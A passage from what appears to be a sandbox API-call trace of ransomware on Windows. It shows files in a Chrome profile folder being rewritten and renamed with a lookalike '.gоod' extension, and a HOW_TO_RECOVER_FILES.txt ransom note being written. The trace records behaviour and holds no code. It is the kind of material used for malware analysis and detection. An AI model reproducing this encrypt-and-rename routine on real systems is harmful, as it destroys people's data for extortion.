dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0215.447] GetFileType (hFile=0x478) returned 0x1 [0215.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0215.447] GetFileType (hFile=0x478) returned 0x1 [0215.447] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x1f6e9fd8 | out: lpFileSizeHigh=0x1f6e9fd8*=0x0) returned 0x0 [0215.447] CloseHandle (hObject=0x478) returned 1 [0217.363] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK", lpFilePart=0x0) returned 0x52 [0217.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0217.363] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\lock"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0217.364] GetFileType (hFile=0x478) returned 0x1 [0217.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0217.364] GetFileType (hFile=0x478) returned 0x1 [0217.364] WriteFile (in: hFile=0x478, lpBuffer=0x359a0d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6e9e18, lpOverlapped=0x0 | out: lpBuffer=0x359a0d8*, lpNumberOfBytesWritten=0x1f6e9e18*=0x10, lpOverlapped=0x0) returned 1 [0217.365] CloseHandle (hObject=0x478) returned 1 [0217.365] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK", lpFilePart=0x0) returned 0x52 [0217.365] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK.gоod", lpFilePart=0x0) returned 0x57 [0217.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0217.365] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\lock"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296715b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5296715b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7dc4b92a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0217.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0217.365] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\lock"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\lock.gоod")) returned 1 [0218.473] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG", lpFilePart=0x0) returned 0x51 [0218.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0218.473] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log"), fInfoLevelId=0x0, lpFileInformation=0x37db3e0 | out: lpFileInformation=0x37db3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296715b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe8bc8e63, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf159677d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x142)) returned 1 [0218.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0218.474] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG", lpFilePart=0x0) returned 0x51 [0218.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0218.474] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0218.474] GetFileType (hFile=0x478) returned 0x1 [0218.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0218.474] GetFileType (hFile=0x478) returned 0x1 [0218.474] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x1f6e9fd8 | out: lpFileSizeHigh=0x1f6e9fd8*=0x0) returned 0x142 [0218.474] ReadFile (in: hFile=0x478, lpBuffer=0x37db7d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f08, lpOverlapped=0x0 | out: lpBuffer=0x37db7d0*, lpNumberOfBytesRead=0x1f6e9f08*=0x142, lpOverlapped=0x0) returned 1 [0218.475] CloseHandle (hObject=0x478) returned 1 [0218.502] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG", lpFilePart=0x0) returned 0x51 [0218.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0218.502] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0218.503] GetFileType (hFile=0x478) returned 0x1 [0218.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0218.503] GetFileType (hFile=0x478) returned 0x1 [0218.503] WriteFile (in: hFile=0x478, lpBuffer=0x3853280*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x1f6e9e18, lpOverlapped=0x0 | out: lpBuffer=0x3853280*, lpNumberOfBytesWritten=0x1f6e9e18*=0x150, lpOverlapped=0x0) returned 1 [0218.504] CloseHandle (hObject=0x478) returned 1 [0218.504] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG", lpFilePart=0x0) returned 0x51 [0218.504] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG.gоod", lpFilePart=0x0) returned 0x56 [0218.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0218.504] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296715b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe8bc8e63, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7e72c2cd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x150)) returned 1 [0218.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0218.504] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log.gоod")) returned 1 [0218.505] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001", lpFilePart=0x0) returned 0x5d [0218.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0218.505] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001"), fInfoLevelId=0x0, lpFileInformation=0x3854558 | out: lpFileInformation=0x3854558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296715b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5296715b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5296715b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x29)) returned 1 [0218.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0218.505] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001", lpFilePart=0x0) returned 0x5d [0218.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0218.505] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0218.506] GetFileType (hFile=0x478) returned 0x1 [0218.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0218.506] GetFileType (hFile=0x478) returned 0x1 [0218.506] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x1f6e9fd8 | out: lpFileSizeHigh=0x1f6e9fd8*=0x0) returned 0x29 [0218.506] ReadFile (in: hFile=0x478, lpBuffer=0x3854890, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f08, lpOverlapped=0x0 | out: lpBuffer=0x3854890*, lpNumberOfBytesRead=0x1f6e9f08*=0x29, lpOverlapped=0x0) returned 1 [0218.779] CloseHandle (hObject=0x478) returned 1 [0218.806] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001", lpFilePart=0x0) returned 0x5d [0218.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0218.807] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0218.808] GetFileType (hFile=0x478) returned 0x1 [0218.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0218.808] GetFileType (hFile=0x478) returned 0x1 [0218.808] WriteFile (in: hFile=0x478, lpBuffer=0x36a0798*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x1f6e9e18, lpOverlapped=0x0 | out: lpBuffer=0x36a0798*, lpNumberOfBytesWritten=0x1f6e9e18*=0x30, lpOverlapped=0x0) returned 1 [0218.809] CloseHandle (hObject=0x478) returned 1 [0218.809] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001", lpFilePart=0x0) returned 0x5d [0218.809] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001.gоod", lpFilePart=0x0) returned 0x62 [0218.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0218.809] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296715b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5296715b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7ea27187, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x30)) returned 1 [0218.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0218.809] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001.gоod")) returned 1 [0218.810] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e9c20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x66 [0218.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea140) returned 1 [0218.810] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x478 [0218.811] GetFileType (hFile=0x478) returned 0x1 [0218.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0b0) returned 1 [0218.811] GetFileType (hFile=0x478) returned 0x1 [0218.811] WriteFile (in: hFile=0x478, lpBuffer=0x36a3f08*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ea208, lpOverlapped=0x0 | out: lpBuffer=0x36a3f08*, lpNumberOfBytesWritten=0x1f6ea208*=0x5d0, lpOverlapped=0x0) returned 1 [0219.497] CloseHandle (hObject=0x478) returned 1 [0219.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea1d0) returned 1 [0219.497] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State", nBufferLength=0x105, lpBuffer=0x1f6e9c70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State", lpFilePart=0x0) returned 0x4d [0219.497] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*", lpFindFileData=0x1f6e9ef0 | out: lpFindFileData=0x1f6e9ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xeb6ec148, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb6ec148, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ada0 [0219.576] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xeb6ec148, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb6ec148, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.576] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e23151, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x53e23151, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa71fbfe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0219.576] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b55418, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x53b55418, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x53b5f051, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0219.576] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x53b52d0c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x53b52d0c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0219.576] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xeb6ec148, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf7cf3ec2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0219.576] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x53b52d0c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5776f89b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG.old", cAlternateFileName="")) returned 1 [0219.576] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x53b52d0c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x53b52d0c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1 [0219.577] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.577] FindClose (in: hFindFile=0x134ada0 | out: hFindFile=0x134ada0) returned 1 [0219.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea110) returned 1 [0219.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0d0) returned 1 [0219.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea1d0) returned 1 [0219.577] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State", nBufferLength=0x105, lpBuffer=0x1f6e9c70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State", lpFilePart=0x0) returned 0x4d [0219.578] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*", lpFindFileData=0x1f6e9ef0 | out: lpFindFileData=0x1f6e9ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xeb6ec148, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb6ec148, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0219.578] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xeb6ec148, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb6ec148, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.579] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e23151, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x53e23151, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa71fbfe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0219.593] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b55418, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x53b55418, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x53b5f051, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0219.593] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b52d0c, 